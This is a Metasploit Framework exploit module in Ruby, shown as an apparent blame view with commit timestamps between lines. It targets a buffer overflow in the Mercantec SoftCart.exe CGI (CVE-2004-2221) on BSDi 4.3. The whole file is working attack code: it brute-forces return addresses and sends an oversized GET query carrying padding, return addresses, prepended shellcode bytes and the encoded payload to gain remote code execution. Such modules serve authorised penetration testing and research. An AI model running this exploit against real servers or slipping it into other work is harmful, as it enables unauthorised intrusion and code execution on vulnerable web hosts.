2007-02-18 00:10:39 +00:00
|
|
|
##
|
2009-11-03 17:02:03 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-12-14 01:49:49 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2006-12-14 01:49:49 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Brute
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2006-12-14 01:49:49 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2009-11-03 17:02:03 +00:00
|
|
|
super(update_info(info,
|
2006-12-14 01:49:49 +00:00
|
|
|
'Name' => 'Mercantec SoftCart CGI Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This is an exploit for an undisclosed buffer overflow
|
|
|
|
in the SoftCart.exe CGI as shipped with Mercantec's shopping
|
|
|
|
cart software. It is possible to execute arbitrary code
|
|
|
|
by passing a malformed CGI parameter in an HTTP GET
|
|
|
|
request. This issue is known to affect SoftCart version
|
|
|
|
4.00b.
|
|
|
|
},
|
|
|
|
'Author' => [ 'skape', 'trew' ],
|
|
|
|
'References' =>
|
|
|
|
[
|
2010-09-20 08:06:27 +00:00
|
|
|
[ 'CVE', '2004-2221'],
|
2006-12-14 01:49:49 +00:00
|
|
|
[ 'OSVDB', '9011'],
|
2007-01-05 14:44:09 +00:00
|
|
|
[ 'BID', '10926'],
|
2006-12-14 01:49:49 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b\x7d\x28\x29\x3f\x5d\x5b\x00",
|
|
|
|
'MinNops' => 16,
|
|
|
|
'Prepend' => "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00\x00\x07\x00",
|
|
|
|
'PrependEncoder' => "\x83\xec\x7f",
|
|
|
|
},
|
|
|
|
'Platform' => 'bsdi',
|
2009-11-03 17:02:03 +00:00
|
|
|
'Targets' =>
|
2006-12-14 01:49:49 +00:00
|
|
|
[
|
2009-11-03 17:02:03 +00:00
|
|
|
[
|
2006-12-14 01:49:49 +00:00
|
|
|
'BSDi/4.3 Bruteforce',
|
|
|
|
{
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xefbf3000 },
|
|
|
|
'Stop' => { 'Ret' => 0xefbffffc },
|
|
|
|
'Step' => 0
|
|
|
|
}
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Aug 19 2004',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def brute_exploit(address)
|
2009-11-03 17:02:03 +00:00
|
|
|
if not (@mercantec)
|
|
|
|
res = send_request_raw({
|
2012-11-08 16:42:48 +00:00
|
|
|
'uri' => normalize_uri(datastore['URI'])
|
2009-11-03 17:02:03 +00:00
|
|
|
}, 5)
|
|
|
|
@mercantec = (res and res.body and res.body =~ /Copyright.*Mercantec/)
|
2013-08-15 19:14:46 +00:00
|
|
|
fail_with(Failure::NotFound, "The target is not a Mercantec CGI") if not @mercantec
|
2009-11-03 17:02:03 +00:00
|
|
|
end
|
|
|
|
|
2006-12-14 01:49:49 +00:00
|
|
|
buffer =
|
|
|
|
"MAA+scstoreB" +
|
|
|
|
rand_text_alphanumeric(512) +
|
|
|
|
[address['Ret']].pack('V') +
|
|
|
|
"MSF!" +
|
|
|
|
[address['Ret'] + payload.encoded.length].pack('V') +
|
|
|
|
payload.encoded
|
|
|
|
|
2006-12-28 23:42:36 +00:00
|
|
|
print_status("Trying #{"%.8x" % address['Ret']}...")
|
|
|
|
res = send_request_raw({
|
2012-11-08 16:42:48 +00:00
|
|
|
'uri' => normalize_uri(datastore['URI']),
|
2006-12-28 23:42:36 +00:00
|
|
|
'query' => buffer
|
|
|
|
}, 5)
|
2006-12-14 01:49:49 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|